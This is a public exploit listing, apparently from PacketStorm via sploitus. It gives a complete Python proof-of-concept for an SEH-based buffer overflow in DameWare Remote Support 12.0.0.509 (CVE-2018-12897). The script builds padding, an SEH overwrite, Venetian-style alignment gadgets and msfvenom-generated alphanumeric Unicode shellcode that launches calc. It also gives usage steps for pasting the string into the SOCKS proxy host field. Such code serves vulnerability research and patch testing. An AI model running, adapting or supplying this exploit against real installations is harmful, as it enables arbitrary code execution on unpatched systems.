Exploit for DameWare Remote Support 12.0.0.509 Buffer Overflow CVE-2018-12897

## https://sploitus.com/exploit?id=PACKETSTORM:153668
#!/usr/bin/env python  
# Author: Xavi Beltran  
# Date: 11/07/2019  
# Description:  
# SEH based Buffer Overflow  
# DameWare Remote Support V. 12.0.0.509  
# CVE-2018-12897  
  
# Contact: xavibeltran@protonmail.com  
# Webpage: https://xavibel.com  
# Tested on: Windows XP SP3 ESP  
  
# Credit for Adam Jeffreys from Nettitude! :)  
  
# Usage:  
# Right click on a host >> AMT >> AMT Settings dialog  
# Mark "Use SOCKS proxy" box  
# Paste the string in the Host field  
  
junk = "\x41" * 1672  
  
# Unicode compatible padding  
nseh = "\x61\x43"  
  
# 007A007B - POP POP RET  
seh = "\x7B\x7A"  
  
align = ""  
align += "\x05\x20\x11" # add eax,0x11002000  
align += "\x71" # Venetian Padding  
align += "\x2d\x19\x11" # sub eax,0x11001900  
align += "\x71" # Venetian Padding  
align += "\x50" # push eax  
align += "\x71" # Venetian Padding  
align += "\xC3" # RETN  
  
padding = "\x41" * 11  
  
junk2 = "\x41" * 870  
junk3 = "\x41" * 2014  
  
# msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw  
# ./alpha2 eax --unicode --uppercase < shellcode.raw  
# 508 bytes  
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"  
  
  
crash = junk + nseh + seh + padding + align + junk2 + shellcode + junk3  
  
print(crash)